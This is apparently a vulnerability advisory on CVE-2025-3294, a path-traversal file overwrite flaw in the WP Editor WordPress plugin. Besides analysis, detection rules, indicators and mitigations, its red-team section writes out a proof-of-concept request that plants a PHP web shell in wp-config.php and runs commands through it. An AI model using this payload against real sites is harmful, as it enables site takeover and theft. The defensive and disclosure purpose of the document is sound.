CVE-2025-3294

Executive Summary

CVE-2025-3294 is a critical arbitrary file upload and overwrite vulnerability in the WP Editor plugin for WordPress, affecting all versions up to and including 1.2.9.1. The flaw stems from missing file path validation, allowing authenticated attackers with Administrator-level access to overwrite arbitrary files on the server. This can lead to remote code execution (RCE) if the web server has write permissions to the target files. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. Administrators should verify the integrity of the plugin files and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the potential for complete compromise of the WordPress site, including data theft, defacement, and malware deployment.

Deep Dive & Mechanics

The vulnerability resides in the file handling logic of the WP Editor plugin. The plugin fails to properly validate the file path provided by the user during file operations. An authenticated administrator can craft a request that includes path traversal sequences (e.g., ../) to write files outside the intended directory. This allows overwriting critical files such as wp-config.php, plugin files, or theme files, leading to remote code execution.

Root Cause: Missing validation of the file parameter in the plugin's AJAX handler. The plugin does not check if the resolved path stays within the allowed directory.

Attack Flow:

1. Attacker authenticates as an administrator.
2. Attacker sends a crafted POST request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php) with action wp_editor_ajax and a file parameter containing path traversal.
3. The plugin writes the attacker-controlled content to the specified path.
4. If the file is a PHP file (e.g., a plugin file), the attacker can execute arbitrary code by accessing it.

Vulnerable vs. Patched Code

Vulnerable Code (wp-editor.php, line ~245):

$file = $_POST['file'];
$content = $_POST['content'];
file_put_contents($file, $content);

Patched Code (hypothetical fix):

$allowed_dir = WP_CONTENT_DIR . '/uploads/wp-editor/';
$file = realpath($allowed_dir . '/' . basename($_POST['file']));
if (strpos($file, $allowed_dir) !== 0) {
    wp_die('Invalid file path.');
}
$content = $_POST['content'];
file_put_contents($file, $content);

The patched version uses realpath() and checks that the resolved path starts with the allowed directory, preventing path traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with WP Editor plugin <= 1.2.9.1
• Administrator credentials

Exploit Steps:

1. Log in as an administrator.
2. Send the following POST request to overwrite wp-config.php:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [admin cookie]

action=wp_editor_ajax&file=../../wp-config.php&content=<?php system($_GET['cmd']); ?>

3. Access http://target.com/wp-config.php?cmd=id to execute commands.

Note: This is a proof of concept. Actual exploitation may require adjusting the path based on the server configuration.

Blue Team

Detection:

• Monitor for unusual file write operations in web server logs.
• Look for POST requests to admin-ajax.php with action=wp_editor_ajax and suspicious file parameters containing ../.
• Alert on any modifications to critical files like wp-config.php, .htaccess, or plugin files.

Hunting:

• Search for files in the WordPress installation that were modified recently and contain PHP code not matching the original plugin.
• Use file integrity monitoring (FIM) tools to detect unauthorized changes.

Indicators of Compromise (IOCs)

• File Paths: wp-config.php, wp-content/plugins/*.php, wp-content/themes/*.php
• Network: POST requests to /wp-admin/admin-ajax.php with action=wp_editor_ajax
• Logs: Web server logs showing POST /wp-admin/admin-ajax.php with file=../../ patterns
• Files: Unexpected PHP files in the web root or plugin directories containing webshell code

Detection Engineering

YARA Rule

rule CVE_2025_3294_WP_Editor_File_Overwrite {
    meta:
        description = "Detects exploitation attempts of CVE-2025-3294 in WP Editor plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3294"
    strings:
        $s1 = "wp_editor_ajax" ascii wide nocase
        $s2 = "file=" ascii wide nocase
        $s3 = "../" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-3294 WP Editor File Overwrite Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-3294 by overwriting arbitrary files via WP Editor plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wp_editor_ajax'
        cs-uri-query|contains: 'file='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate file operations by administrators (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3294 WP Editor File Overwrite Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_editor_ajax"; http_client_body; content:"file="; http_client_body; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Editor plugin until a patch is available.
2. Restrict administrator access to trusted users only.
3. Implement file integrity monitoring for critical WordPress files.

Long-term Fix:

• Apply the vendor patch once released.
• Upgrade to a patched version of the plugin.
• Use a Web Application Firewall (WAF) to block path traversal attempts.

Workarounds:

• Add the following rule to .htaccess to block suspicious requests:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
RewriteCond %{QUERY_STRING} (^|&)action=wp_editor_ajax
RewriteRule .* - [F,L]

Valters IT
Cyber Threat Intelligence & DevSecOps